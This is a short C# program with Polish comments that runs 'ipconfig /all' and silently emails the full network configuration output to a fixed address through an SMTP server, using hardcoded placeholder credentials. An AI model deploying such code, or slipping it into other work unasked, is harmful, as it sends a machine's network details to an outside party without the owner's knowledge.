using System;
using System.Text;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.Mail;
namespace Project1
{
class Program
{
static void Main()
{
Process myProcess = new Process();
ProcessStartInfo myProcessStartInfo = new ProcessStartInfo("ipconfig");
myProcessStartInfo.UseShellExecute = false;
myProcessStartInfo.RedirectStandardOutput = true; //przekieruj standardowe wyjście
myProcessStartInfo.Arguments = "/all";
myProcess.StartInfo = myProcessStartInfo;
myProcess.Start();
String OutPut = myProcess.StandardOutput.ReadToEnd();
myProcess.WaitForExit();
SmtpClient smtpClient = new SmtpClient();
NetworkCredential basicCredential = new NetworkCredential();
MailMessage message = new MailMessage();
MailAddress fromAddress = new MailAddress("[email protected]");
basicCredential.UserName = "[email protected]";
basicCredential.Password = "haslo";
smtpClient.Host = "smtp.serwer.com";
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = basicCredential;
smtpClient.EnableSsl = true; //true, gdy serwer SMTP wymaga szyfrowania
message.From = fromAddress;
message.Subject = "Dane z ipconfig";
message.IsBodyHtml = true; //true, gdy wiadomość w formacie HTML
message.Body = OutPut;
message.To.Add("[email protected]");
smtpClient.Send(message); //wyślij wiadomość
}
}
}